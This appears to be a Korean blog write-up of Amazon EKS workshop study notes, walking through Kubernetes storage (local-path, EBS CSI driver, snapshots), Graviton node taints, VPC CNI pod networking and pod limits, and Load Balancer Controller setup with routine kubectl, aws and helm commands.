CSI( 컨테이너 스토리지 인터페이스)는 Kubernetes와 같은 CO(컨테이너 오케스트레이션 시스템)의 컨테이너화된 워크로드에 임의의 블록 및 파일 스토리지 시스템을 노출하기 위한 표준이다. CSI 제3자 스토리지 제공자를 사용하면 핵심 Kubernetes 코드를 건드릴 필요 없이 Kubernetes에서 새로운 스토리지 시스템을 노출하는 플러그인을 작성하고 배포할 수 있다.
그렇다면 임시 파일 시스템을 사용할 때와 스토리지를 사용할 때를 비교해보도록 하자.
a. 기본 컨테이너 환경에서 임시 파일 시스템 사용
# 파드 배포 - date 명령어로 현재 시간을 10초 간격으로 /home/pod-out.txt 파일에 저장
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/date-busybox-pod.yaml
cat date-busybox-pod.yaml | yh
kubectl apply -f date-busybox-pod.yaml
# 파일 확인
kubectl get pod
kubectl exec busybox -- tail -f /home/pod-out.txt
# 파드 삭제 후 다시 생성 후 파일 정보 확인
kubectl delete pod busybox
kubectl apply -f date-busybox-pod.yaml
kubectl exec busybox -- cat /home/pod-out.txt
kubectl exec busybox -- tail -f /home/pod-out.txt
# 실습 완료 후 삭제
kubectl delete pod busybox
파드를 지우고 다시 접속하여 cat으로 조회해보면 이전 내용이 보이지 않는 것을 확인할 수 있다.
b. 호스트 Path 를 사용하는 PV/PVC : local-path-provisioner 스토리지 클래스로 배포하여 실습해보자.
장점 - HostPath 또는 local 을 사용하여 볼륨을 동적으로 프로비저닝한다. - 현재 Kubernetes 로컬 볼륨 프로비저너는 로컬 볼륨에 대한 동적 프로비저닝을 수행할 수 없다.로컬 기반 영구 볼륨은 실험적인 기능이다.
단점 - 현재 볼륨 용량 제한을 지원하지 않는다.용량 제한을 무시한다.
# 배포
curl -s -O https://raw.githubusercontent.com/rancher/local-path-provisioner/master/deploy/local-path-storage.yaml
kubectl apply -f local-path-storage.yaml
# 확인
kubectl get-all -n local-path-storage
kubectl get pod -n local-path-storage -owide
kubectl describe cm -n local-path-storage local-path-config
kubectl get sc
kubectl get sc local-path
NAME PROVISIONER RECLAIMPOLICY VOLUMEBINDINGMODE ALLOWVOLUMEEXPANSION AGE
local-path rancher.io/local-path Delete WaitForFirstConsumer false
# PVC 생성
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/localpath1.yaml
cat localpath1.yaml | yh
kubectl apply -f localpath1.yaml
# PVC 확인
kubectl get pvc
kubectl describe pvc
# 파드 생성
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/localpath2.yaml
cat localpath2.yaml | yh
kubectl apply -f localpath2.yaml
# 파드 확인
kubectl get pod,pv,pvc
kubectl describe pv # Node Affinity 확인
kubectl exec -it app -- tail -f /data/out.txt
# 파드 삭제 후 PV/PVC 확인
kubectl delete pod app
kubectl get pod,pv,pvc
for node in $N1 $N2 $N3; do ssh ec2-user@$node tree /opt/local-path-provisioner; done
# 파드 다시 실행
kubectl apply -f localpath2.yaml
# 확인
kubectl exec -it app -- head /data/out.txt
kubectl exec -it app -- tail -f /data/out.txt
예상한 대로 Node Affinity를 가진 상태에서 파드를 다시 시작하더라도 동일 경로에 있는 파일을 액세스하는 것을 확인할 수 있었다. 다음 실습을 위해 파드와 만든 PVC를 삭제하자.
# 파드와 PVC 삭제
kubectl delete pod app
kubectl get pv,pvc
kubectl delete pvc localpath-claim
# 확인
kubectl get pv
for node in $N1 $N2 $N3; do ssh ec2-user@$node tree /opt/local-path-provisioner; done
2. AWS EBS Controller
지난 실습에서 살펴보았던 AWS LoadBalancer Controller (6번 항목)과 비슷하다고도 볼 수 있을텐데, EKS에서 EBS와 같은 AWS 스토리지를 다룰 때 AWS API를 호출하면서 AWS 스토리지를 관리하는 CSI Controller와 관련해 EBS에 해당하는 부분이 바로 AWS EBS Controller라 할 수 있겠다. 따라서 Amazon EKS add-on 형태로 Amazon EBS CSI driver를 설치하여 사용하며, 관련한 자세한 내용은 AWS 문서를 통해서도 확인 가능하다.
# 아래는 aws-ebs-csi-driver 전체 버전 정보와 기본 설치 버전(True) 정보 확인
aws eks describe-addon-versions \
--addon-name aws-ebs-csi-driver \
--kubernetes-version 1.28 \
--query "addons[].addonVersions[].[addonVersion, compatibilities[].defaultVersion]" \
--output text
# ISRA 설정 : AWS관리형 정책 AmazonEBSCSIDriverPolicy 사용
eksctl create iamserviceaccount \
--name ebs-csi-controller-sa \
--namespace kube-system \
--cluster ${CLUSTER_NAME} \
--attach-policy-arn arn:aws:iam::aws:policy/service-role/AmazonEBSCSIDriverPolicy \
--approve \
--role-only \
--role-name AmazonEKS_EBS_CSI_DriverRole
# ISRA 확인
eksctl get iamserviceaccount --cluster myeks
NAMESPACE NAME ROLE ARN
kube-system ebs-csi-controller-sa arn:aws:iam::911283464785:role/AmazonEKS_EBS_CSI_DriverRole
...
# Amazon EBS CSI driver addon 추가
eksctl create addon --name aws-ebs-csi-driver --cluster ${CLUSTER_NAME} --service-account-role-arn arn:aws:iam::${ACCOUNT_ID}:role/AmazonEKS_EBS_CSI_DriverRole --force
kubectl get sa -n kube-system ebs-csi-controller-sa -o yaml | head -5
# 확인
eksctl get addon --cluster ${CLUSTER_NAME}
kubectl get deploy,ds -l=app.kubernetes.io/name=aws-ebs-csi-driver -n kube-system
kubectl get pod -n kube-system -l 'app in (ebs-csi-controller,ebs-csi-node)'
kubectl get pod -n kube-system -l app.kubernetes.io/component=csi-driver
# ebs-csi-controller 파드에 6개 컨테이너 확인
kubectl get pod -n kube-system -l app=ebs-csi-controller -o jsonpath='{.items[0].spec.containers[*].name}' ; echo
ebs-plugin csi-provisioner csi-attacher csi-snapshotter csi-resizer liveness-probe
# csinodes 확인
kubectl get csinodes
# gp3 스토리지 클래스 생성 - Link
kubectl get sc
cat <<EOT > gp3-sc.yaml
kind: StorageClass
apiVersion: storage.k8s.io/v1
metadata:
name: gp3
allowVolumeExpansion: true
provisioner: ebs.csi.aws.com
volumeBindingMode: WaitForFirstConsumer
parameters:
type: gp3
#iops: "5000"
#throughput: "250"
allowAutoIOPSPerGBIncrease: 'true'
encrypted: 'true'
fsType: xfs # 기본값이 ext4
EOT
kubectl apply -f gp3-sc.yaml
kubectl get sc
kubectl describe sc gp3 | grep Parameters
IRSA 서비스 계정을 생성하고 gp3라는 스토리지 클래스를 생성해 보았다.
이제 PVC/PV 파트 테스트를 해보자.
# 워커노드의 EBS 볼륨 확인 : tag(키/값) 필터링 - 링크
aws ec2 describe-volumes --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --output table
aws ec2 describe-volumes --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --query "Volumes[*].Attachments" | jq
aws ec2 describe-volumes --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --query "Volumes[*].{ID:VolumeId,Tag:Tags}" | jq
aws ec2 describe-volumes --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --query "Volumes[].[VolumeId, VolumeType, Attachments[].[InstanceId, State][]][]" | jq
aws ec2 describe-volumes --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --query "Volumes[].{VolumeId: VolumeId, VolumeType: VolumeType, InstanceId: Attachments[0].InstanceId, State: Attachments[0].State}" | jq
# 워커노드에서 파드에 추가한 EBS 볼륨 확인
aws ec2 describe-volumes --filters Name=tag:ebs.csi.aws.com/cluster,Values=true --output table
aws ec2 describe-volumes --filters Name=tag:ebs.csi.aws.com/cluster,Values=true --query "Volumes[*].{ID:VolumeId,Tag:Tags}" | jq
aws ec2 describe-volumes --filters Name=tag:ebs.csi.aws.com/cluster,Values=true --query "Volumes[].{VolumeId: VolumeId, VolumeType: VolumeType, InstanceId: Attachments[0].InstanceId, State: Attachments[0].State}" | jq
# 워커노드에서 파드에 추가한 EBS 볼륨 모니터링
while true; do aws ec2 describe-volumes --filters Name=tag:ebs.csi.aws.com/cluster,Values=true --query "Volumes[].{VolumeId: VolumeId, VolumeType: VolumeType, InstanceId: Attachments[0].InstanceId, State: Attachments[0].State}" --output text; date; sleep 1; done
# PVC 생성
cat <<EOT > awsebs-pvc.yaml
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: ebs-claim
spec:
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 4Gi
storageClassName: gp3
EOT
kubectl apply -f awsebs-pvc.yaml
kubectl get pvc,pv
# 파드 생성
cat <<EOT > awsebs-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: app
spec:
terminationGracePeriodSeconds: 3
containers:
- name: app
image: centos
command: ["/bin/sh"]
args: ["-c", "while true; do echo \$(date -u) >> /data/out.txt; sleep 5; done"]
volumeMounts:
- name: persistent-storage
mountPath: /data
volumes:
- name: persistent-storage
persistentVolumeClaim:
claimName: ebs-claim
EOT
kubectl apply -f awsebs-pod.yaml
# PVC, 파드 확인
kubectl get pvc,pv,pod
kubectl get VolumeAttachment
# 추가된 EBS 볼륨 상세 정보 확인
aws ec2 describe-volumes --volume-ids $(kubectl get pv -o jsonpath="{.items[0].spec.csi.volumeHandle}") | jq
# PV 상세 확인 : nodeAffinity 내용의 의미는?
kubectl get pv -o yaml | yh
...
nodeAffinity:
required:
nodeSelectorTerms:
- matchExpressions:
- key: topology.ebs.csi.aws.com/zone
operator: In
values:
- ap-northeast-2b
...
kubectl get node --label-columns=topology.ebs.csi.aws.com/zone,topology.kubernetes.io/zone
kubectl describe node | more
# 파일 내용 추가 저장 확인
kubectl exec app -- tail -f /data/out.txt
# 아래 명령어는 확인까지 다소 시간이 소요됨
kubectl df-pv
## 파드 내에서 볼륨 정보 확인
kubectl exec -it app -- sh -c 'df -hT --type=overlay'
kubectl exec -it app -- sh -c 'df -hT --type=xfs'
실제 확인을 해보니 gp3 스토리지 클래스에 대해 PVC 클레임이 완료되고 /data 마운트 포인트에 대해 PV 활용을 하는 파드에서 확인이 잘 이루어졌다.
볼륨 증가 또한 가능한데, 이 때 늘릴 수는 있으나 줄일 수는 없다는 점을 참고하도록 하자. 자세한 부분은 링크를 통해 내용을 참고한다. 아래 실습을 통해 10G로 볼륨 크기가 늘어남을 확인할 수 있었다.
# 현재 pv 의 이름을 기준하여 4G > 10G 로 증가 : .spec.resources.requests.storage의 4Gi 를 10Gi로 변경
kubectl get pvc ebs-claim -o jsonpath={.spec.resources.requests.storage} ; echo
kubectl get pvc ebs-claim -o jsonpath={.status.capacity.storage} ; echo
kubectl patch pvc ebs-claim -p '{"spec":{"resources":{"requests":{"storage":"10Gi"}}}}'
# 확인 : 볼륨 용량 수정 반영이 되어야 되니, 수치 반영이 조금 느릴수 있다
kubectl exec -it app -- sh -c 'df -hT --type=xfs'
kubectl df-pv
aws ec2 describe-volumes --volume-ids $(kubectl get pv -o jsonpath="{.items[0].spec.csi.volumeHandle}") | jq
실습을 완료한 다음에는 관련 파드 및 PVC를 삭제하도록 하자.
kubectl delete pod app & kubectl delete pvc ebs-claim
3. AWS Volume SnapShots Controller
볼륨에 대한 스냅샷은 특정 시점에 볼륨 상태가 어떠했는지 일종의 백업 형태로 바라볼 수 있겠다. 블로그에도 언급된 AWS Volume SnapShots Controller 부분을 실습해보도록 하자.
# (참고) EBS CSI Driver에 snapshots 기능 포함 될 것으로 보임
kubectl describe pod -n kube-system -l app=ebs-csi-controller
# Install Snapshot CRDs
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/client/config/crd/snapshot.storage.k8s.io_volumesnapshots.yaml
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/client/config/crd/snapshot.storage.k8s.io_volumesnapshotclasses.yaml
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/client/config/crd/snapshot.storage.k8s.io_volumesnapshotcontents.yaml
kubectl apply -f snapshot.storage.k8s.io_volumesnapshots.yaml,snapshot.storage.k8s.io_volumesnapshotclasses.yaml,snapshot.storage.k8s.io_volumesnapshotcontents.yaml
kubectl get crd | grep snapshot
kubectl api-resources | grep snapshot
# Install Common Snapshot Controller
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/deploy/kubernetes/snapshot-controller/rbac-snapshot-controller.yaml
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/deploy/kubernetes/snapshot-controller/setup-snapshot-controller.yaml
kubectl apply -f rbac-snapshot-controller.yaml,setup-snapshot-controller.yaml
kubectl get deploy -n kube-system snapshot-controller
kubectl get pod -n kube-system -l app=snapshot-controller
# Install Snapshotclass
curl -s -O https://raw.githubusercontent.com/kubernetes-sigs/aws-ebs-csi-driver/master/examples/kubernetes/snapshot/manifests/classes/snapshotclass.yaml
kubectl apply -f snapshotclass.yaml
kubectl get vsclass # 혹은 volumesnapshotclasses
아래와 같이 테스트 PVC/파드를 먼저 생성해본다.
# PVC 생성
kubectl apply -f awsebs-pvc.yaml
# 파드 생성
kubectl apply -f awsebs-pod.yaml
# 파일 내용 추가 저장 확인
kubectl exec app -- tail -f /data/out.txt
# VolumeSnapshot 생성 : Create a VolumeSnapshot referencing the PersistentVolumeClaim name >> EBS 스냅샷 확인
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/ebs-volume-snapshot.yaml
cat ebs-volume-snapshot.yaml | yh
kubectl apply -f ebs-volume-snapshot.yaml
# VolumeSnapshot 확인
kubectl get volumesnapshot
kubectl get volumesnapshot ebs-volume-snapshot -o jsonpath={.status.boundVolumeSnapshotContentName} ; echo
kubectl describe volumesnapshot.snapshot.storage.k8s.io ebs-volume-snapshot
kubectl get volumesnapshotcontents
# VolumeSnapshot ID 확인
kubectl get volumesnapshotcontents -o jsonpath='{.items[*].status.snapshotHandle}' ; echo
# AWS EBS 스냅샷 확인
aws ec2 describe-snapshots --owner-ids self | jq
aws ec2 describe-snapshots --owner-ids self --query 'Snapshots[]' --output table
# app & pvc 제거 : 강제로 장애 재현
kubectl delete pod app && kubectl delete pvc ebs-claim
실제 실습을 할 때에는 충분히 out.txt 파일에 데이터가 기록된 상태에서 볼륨 스냅샷을 생성하는 것이 중요하다. 본인이 실습할 때에는 볼륨 스냅샷 생성을 할 때 out.txt 파일에 아무것도 기록되어 있지 않은 상태에서 진행하였기에 스냅샷 복원 후 이전 데이터가 모두 보이지 않는 것이 정상인 상황이었다.
EKS 워크샵에 보면 Graviton (ARM) 인스턴스에 대해 설명하는 내용이 있다.Graviton 인스턴스의 경우 Processor family에 'g'라는 글씨를 추가로 붙여 인스턴스 유형을 나타내며 EKS 환경에서 Graviton에 해당하는 노드 그룹을 생성하여 관리를 할 수가 있다.
위 실습 스크립트와 같이 Graviton 노드 그룹을 생성한 다음, 생성한 Graviton 노드 그룹에 taint를 설정한다. Taint는 굳이 번역하자면 일종의 '오점'이 되는데, 즉 설정된 노드에 일종의 오점을 지정하여 파드를 배치할 때 이 Taint(오점)을 용인한다는 Toleration 옵션을 설정해야 Taint가 있는 노드에 배치가 될 수가 있다.
2-3분 지난 후 Taint 결과를 확인해보자. 참고로 Taint는 다음과 같은 속성이 있다고 한다.
# NO_SCHEDULE - This corresponds to the Kubernetes NoSchedule taint effect. This configures the managed node group with a taint that repels all pods that don't have a matching toleration. All running pods are not evicted from the manage node group's nodes.
# NO_EXECUTE - This corresponds to the Kubernetes NoExecute taint effect. Allows nodes configured with this taint to not only repel newly scheduled pods but also evicts any running pods without a matching toleration.
# PREFER_NO_SCHEDULE - This corresponds to the Kubernetes PreferNoSchedule taint effect. If possible, EKS avoids scheduling Pods that do not tolerate this taint onto the node.
실제 Graviton 노드 그룹에 파드를 배치시켜보자.
cat << EOT > busybox.yaml
apiVersion: v1
kind: Pod
metadata:
name: busybox
spec:
terminationGracePeriodSeconds: 3
containers:
- name: busybox
image: busybox
command:
- "/bin/sh"
- "-c"
- "while true; do date >> /home/pod-out.txt; cd /home; sync; sync; sleep 10; done"
tolerations:
- effect: NoExecute
key: frontend
operator: Exists
EOT
kubectl apply -f busybox.yaml
# 파드가 배포된 노드 정보 확인
kubectl get pod -owide
아래 스크린샷과 같이 파드에 배포할 때 toletations 속성을 지정하고 이에 따라 파드가 배포된 노드가 Gravition 노드 그룹임을 확인할 수 있었다.
이렇게 노드 그룹을 사용하여 특정 노드 그룹 Family에 대해 관리가 가능하다. 실습을 완료한 다음에는 자원을 삭제한다.
본 게시물은 CloudNet@에서 진행하는AEWS(AmazonEKSWorkshopStudy) 스터디에 참여하며 정리한 내용입니다.
1. VPC CNI 소개
그 전에 먼저 CNI에 대해 살펴보자. https://cni.dev 홈페이지 내용을 번역기로 해석한 내용을 아래에 붙여본다.
클라우드 네이티브 컴퓨팅 기반 CNI( Container Network Interface ) 프로젝트는 지원되는 여러 플러그인과 함께 Linux 및 Windows 컨테이너에서 네트워크 인터페이스를 구성하기 위한 플러그인을 작성하기 위한 사양 및 라이브러리로 구성됩니다. CNI는 컨테이너의 네트워크 연결과 컨테이너 삭제 시 할당된 리소스 제거에만 관심이 있습니다. 이러한 초점 때문에 CNI는 광범위한 지원을 제공하며 사양 구현이 간단합니다.
이러한 CNI를 쓰는 대표적인 오픈 소스가 바로 쿠버네티스(K8s)로, CNI는 K8s 네트워크 환경을 구성해주는 역할을 하며 링크와 같이 다양한 플러그인이 존재한다. Amazon EKS에서는 amazon-vpc-cni-k8s를 사용하여 쿠버네티스에서 AWS에 있는 Elastic Network Interfaces를 통한 파드 네트워킹을 지원한다. amazon-vpc-cni-k8s가 파드 IP를 할당할 때 파드의 IP 네트워크 내역과 노드(워커) IP 대역이 같아서 직접 통신이 가능하다. 아래 그림에서 볼 수 있듯이, AWS VPC CNI에서는 IP 대역이 변화하지 않는다. 또한 Calico CNI 등 일반적으로 K8s CNI는 오버레이(VXLAN, IP-IP 등) 통신을 하고, AWS VPC CNI는 동일 대역으로 직접 통신을 한다.
동일 대역에서 직접 통신이 이루어지므로 사용 가능한 IP 개수에 제약이 있는 점 또한 참고할 필요가 있겠다. 자세한 내용을 링크에 언급되어 있다고 하니 참고하자. 우선 설치된 EKS 환경에서 CNI 기본 정보를 확인해보자. 명령어는 다음과 같다.
# CNI 정보 확인
kubectl describe daemonset aws-node --namespace kube-system | grep Image | cut -d "/" -f 2
# 노드 IP 확인
aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output table
# 파드 IP 확인
kubectl get pod -n kube-system -o=custom-columns=NAME:.metadata.name,IP:.status.podIP,STATUS:.status.phase
실행 결과는 다음과 같다. 구성된 환경에서 amazon-vpc-cni-k8s는 최신인 v1.16.4를 사용하고 있으며, 192.168.1.0/24, 192.168.2.0/24, 192.168.3.0/24 3개의 VPC가 구성된 환경에서 노드 IP 주소 및 파드 IP 주소가 동일한 IP 대역을 사용하고 있음을 확인할 수 있었다.
2. 노드 기본 네트워크 정보 확인
노드에서 기본 네트워크 정보가 어떻게 되어 있는지를 보도록 하자.
# coredns 파드 IP 정보 확인
kubectl get pod -n kube-system -l k8s-app=kube-dns -owide
# 노드의 라우팅 정보 확인 >> EC2 네트워크 정보의 '보조 프라이빗 IPv4 주소'와 비교해보자
for i in $N1 $N2 $N3; do echo ">> node $i <<"; ssh ec2-user@$i sudo ip -c route; echo; done
coredns가 총 2 개 pod로 내포된 상태라 AZ1과 2에 존재하며, 파드 IP 주소 및 라우팅 테이블 IP 주소 모두 노드 IP 주소로 된 것을 확인할 수 있다. AWS 콘솔에서 AZ1에 있는 워커 노드의 Secondary private IPv4 주소와 같음을 확인할 수 있다.
# [터미널1~3] 노드 모니터링
ssh ec2-user@$N1
watch -d "ip link | egrep 'eth|eni' ;echo;echo "[ROUTE TABLE]"; route -n | grep eni"
ssh ec2-user@$N2
watch -d "ip link | egrep 'eth|eni' ;echo;echo "[ROUTE TABLE]"; route -n | grep eni"
ssh ec2-user@$N3
watch -d "ip link | egrep 'eth|eni' ;echo;echo "[ROUTE TABLE]"; route -n | grep eni"
# 테스트용 파드 netshoot-pod 생성
cat <<EOF | kubectl create -f -
apiVersion: apps/v1
kind: Deployment
metadata:
name: netshoot-pod
spec:
replicas: 3
selector:
matchLabels:
app: netshoot-pod
template:
metadata:
labels:
app: netshoot-pod
spec:
containers:
- name: netshoot-pod
image: nicolaka/netshoot
command: ["tail"]
args: ["-f", "/dev/null"]
terminationGracePeriodSeconds: 0
EOF
# 파드 이름 변수 지정
PODNAME1=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[0].metadata.name})
PODNAME2=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[1].metadata.name})
PODNAME3=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[2].metadata.name})
# 파드 확인
kubectl get pod -o wide
kubectl get pod -o=custom-columns=NAME:.metadata.name,IP:.status.podIP
# 노드에 라우팅 정보 확인
for i in $N1 $N2 $N3; do echo ">> node $i <<"; ssh ec2-user@$i sudo ip -c route; echo; done
파드가 생성되면 워커노드에 eniY@ifN 이 추가되고 라우팅 테이블에도 정보가 추가됨을 확인할 수 있다.
이렇게 추가된 eniY에 대해 자세히 정보를 확인해볼 수도 있다. 워커노드에 접속한 다음, 마지막에 생성된 네트워크 인터페이스에 대한 네임스페이스 정보를 파악하여, 해당 네임스페이스로 진입하여 네트워크 정보를 살펴보는 것도 도움이 되겠다.
# 노드3에서 네트워크 인터페이스 정보 확인
ssh ec2-user@$N3
----------------
ip -br -c addr show
ip -c link
ip -c addr
ip route # 혹은 route -n
# 마지막 생성된 네임스페이스 정보 출력 -t net(네트워크 타입)
sudo lsns -o PID,COMMAND -t net | awk 'NR>2 {print $1}' | tail -n 1
# 마지막 생성된 네임스페이스 net PID 정보 출력 -t net(네트워크 타입)를 변수 지정
MyPID=$(sudo lsns -o PID,COMMAND -t net | awk 'NR>2 {print $1}' | tail -n 1)
# PID 정보로 파드 정보 확인
sudo nsenter -t $MyPID -n ip -c addr
sudo nsenter -t $MyPID -n ip -c route
exit
----------------
또한 직접 테스트용 파드로 접속하여 확인해볼 수도 있다.
# 테스트용 파드 접속(exec) 후 Shell 실행
kubectl exec -it $PODNAME1 -- zsh
# 아래부터는 pod-1 Shell 에서 실행 : 네트워크 정보 확인
----------------------------
ip -c addr
ip -c route
route -n
ping -c 1 <pod-2 IP>
ps
cat /etc/resolv.conf
exit
----------------------------
3. 노드 간 파드 통신
AWS VPC CNI를 사용하는 EKS 디폴트 환경에서는 별도의 오버레이 통신 기술 없이, VPC Native하게 파드 간 직접 통신이 가능하다.
테스트를 하기 위해 tcpdump를 각 워커 노드에 실행한 상태에서 ping을 통해 확인해보았다. 여기서 한 가지, 파드 생성시 순서를 atomic하게 보장하지 않으므로 워커노드 1,2,3 번호와 PODIP 1,2,3 순서가 동일하지 않을 수 있다는 점을 꼭 참고하자.
# 파드 IP 변수 지정
PODIP1=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[0].status.podIP})
PODIP2=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[1].status.podIP})
PODIP3=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[2].status.podIP})
# 파드1 Shell 에서 파드2로 ping 테스트
kubectl exec -it $PODNAME1 -- ping -c 2 $PODIP2
# 파드2 Shell 에서 파드3로 ping 테스트
kubectl exec -it $PODNAME2 -- ping -c 2 $PODIP3
# 파드3 Shell 에서 파드1로 ping 테스트
kubectl exec -it $PODNAME3 -- ping -c 2 $PODIP1
# 워커 노드 EC2 : TCPDUMP 확인
sudo tcpdump -i any -nn icmp
이번에는 eniY 어댑터에 tcpdump를 실행해 확인해보면 해당 eniY 어댑터를 통해 패킷이 이동함을 확인할 수 있다. 또한 워커 노드1에서 실제 ip route 경로를 확인해보자. 디폴트 네트워크 정보를 살펴보면 eth0를 통해 빠져나감을 확인할 수 있다.
ifconfig | grep eni
sudo tcpdump -i eniYYYYYYYYYY -nn icmp
[워커 노드1]
# routing policy database management 확인
ip rule
# routing table management 확인
ip route show table local
# 디폴트 네트워크 정보를 eth0 을 통해서 빠져나감을 확인하자.
ip route show table main
default via 192.168.1.1 dev eth0
4. 파드에서 외부 통신
파드에서 외부와 통신하는 흐름을 자세히 살펴보면 iptables에 SNAT을 통해 노트의 eth0 IP로 변경되어 외부와 통신이 이루어지는 것을 확인할 수 있다.
워커노드 1을 기준으로 하여 확인해보니 외부 ping에 대해 192.168.1.6 IP 주소 요청이 eth0으로 192.168.1.112인 워커노드1 IP 주소로 변환되어 외부로 요청이 이루어지는 것을 확인할 수 있었다. 관련 iptables NAT 정보도 확인해보았다.
# 작업용 EC2 : pod-1 Shell 에서 외부로 ping
kubectl exec -it $PODNAME1 -- ping -c 1 www.google.com
for i in $N1 $N2 $N3; do echo ">> node $i <<"; ssh ec2-user@$i curl -s ipinfo.io/ip; echo; echo; done
for i in $PODNAME1 $PODNAME2 $PODNAME3; do echo ">> Pod : $i <<"; kubectl exec -it $i -- curl -s ipinfo.io/ip; echo; echo; done
# 워커 노드 EC2 : TCPDUMP 확인
sudo tcpdump -i any -nn icmp
sudo tcpdump -i eth0 -nn icmp
sudo iptables -t nat -S | grep 'A AWS-SNAT-CHAIN'
실습을 다 한 이후에는 다음 실습을 위해 netshoot 파드를 삭제하도록 하자.
kubectl delete deploy netshoot-pod
5. 노드에 파드 생성 개수 제한
실습 내용을 쉽게 확인하기 위해 kube-ops-view를 설치하면 좋다. 다음 명령어를 사용해 설치 가능하다.
최대 파드 생성 갯수 : (Number of network interfaces for the instance type × (the number of IP addresses per network interface - 1)) + 2
t3.medium 사용할 때 워커 노드의 인스턴스 정보를 확인해보자.
# t3 타입의 정보(필터) 확인
aws ec2 describe-instance-types --filters Name=instance-type,Values=t3.* \
--query "InstanceTypes[].{Type: InstanceType, MaxENI: NetworkInfo.MaximumNetworkInterfaces, IPv4addr: NetworkInfo.Ipv4AddressesPerInterface}" \
--output table
# c5 타입의 정보(필터) 확인
aws ec2 describe-instance-types --filters Name=instance-type,Values=c5*.* \
--query "InstanceTypes[].{Type: InstanceType, MaxENI: NetworkInfo.MaximumNetworkInterfaces, IPv4addr: NetworkInfo.Ipv4AddressesPerInterface}" \
--output table
# 파드 사용 가능 계산 예시 : aws-node 와 kube-proxy 파드는 host-networking 사용으로 IP 2개 남음
((MaxENI * (IPv4addr-1)) + 2)
t3.medium 경우 : ((3 * (6 - 1) + 2 ) = 17개 >> aws-node 와 kube-proxy 2개 제외하면 15개
# 워커노드 상세 정보 확인 : 노드 상세 정보의 Allocatable 에 pods 에 17개 정보 확인
kubectl describe node | grep Allocatable: -A6
최대 개수 제한이 걸려 생성되지 않는 상황도 직접 확인해보았다.
# 워커 노드 EC2 - 모니터링
while true; do ip -br -c addr show && echo "--------------" ; date "+%Y-%m-%d %H:%M:%S" ; sleep 1; done
# 작업용 EC2 - 터미널1
watch -d 'kubectl get pods -o wide'
# 작업용 EC2 - 터미널2
# 디플로이먼트 생성
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/2/nginx-dp.yaml
kubectl apply -f nginx-dp.yaml
# 파드 확인
kubectl get pod -o wide
kubectl get pod -o=custom-columns=NAME:.metadata.name,IP:.status.podIP
# 파드 증가 테스트 >> 파드 정상 생성 확인, 워커 노드에서 eth, eni 갯수 확인 >> 어떤일이 벌어졌는가?
kubectl scale deployment nginx-deployment --replicas=50
다음 실습 전에 생성한 배포를 삭제하도록 하자.
kubectl delete deployment nginx-deployment
이에 대한 해결 방안으로는 Prefix Delegation, WARM & MIN IP/Prefix Targets, Custom Network 등이 있다고 하니 참고하자.
# OIDC 확인
aws eks describe-cluster --name $CLUSTER_NAME --query "cluster.identity.oidc.issuer" --output text
aws iam list-open-id-connect-providers | jq
# IAM Policy (AWSLoadBalancerControllerIAMPolicy) 생성
curl -O https://raw.githubusercontent.com/kubernetes-sigs/aws-load-balancer-controller/v2.5.4/docs/install/iam_policy.json
aws iam create-policy --policy-name AWSLoadBalancerControllerIAMPolicy --policy-document file://iam_policy.json
# 혹시 이미 IAM 정책이 있지만 예전 정책일 경우 아래 처럼 최신 업데이트 할 것
# aws iam update-policy ~~~
# 생성된 IAM Policy Arn 확인
aws iam list-policies --scope Local | jq
aws iam get-policy --policy-arn arn:aws:iam::$ACCOUNT_ID:policy/AWSLoadBalancerControllerIAMPolicy | jq
aws iam get-policy --policy-arn arn:aws:iam::$ACCOUNT_ID:policy/AWSLoadBalancerControllerIAMPolicy --query 'Policy.Arn'
# AWS Load Balancer Controller를 위한 ServiceAccount를 생성 >> 자동으로 매칭되는 IAM Role 을 CloudFormation 으로 생성됨!
# IAM 역할 생성. AWS Load Balancer Controller의 kube-system 네임스페이스에 aws-load-balancer-controller라는 Kubernetes 서비스 계정을 생성하고 IAM 역할의 이름으로 Kubernetes 서비스 계정에 주석을 답니다
eksctl create iamserviceaccount --cluster=$CLUSTER_NAME --namespace=kube-system --name=aws-load-balancer-controller --role-name AmazonEKSLoadBalancerControllerRole \
--attach-policy-arn=arn:aws:iam::$ACCOUNT_ID:policy/AWSLoadBalancerControllerIAMPolicy --override-existing-serviceaccounts --approve
## IRSA 정보 확인
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
## 서비스 어카운트 확인
kubectl get serviceaccounts -n kube-system aws-load-balancer-controller -o yaml | yh
# Helm Chart 설치
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
--set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller
## 설치 확인 : aws-load-balancer-controller:v2.7.1
kubectl get crd
kubectl get deployment -n kube-system aws-load-balancer-controller
kubectl describe deploy -n kube-system aws-load-balancer-controller
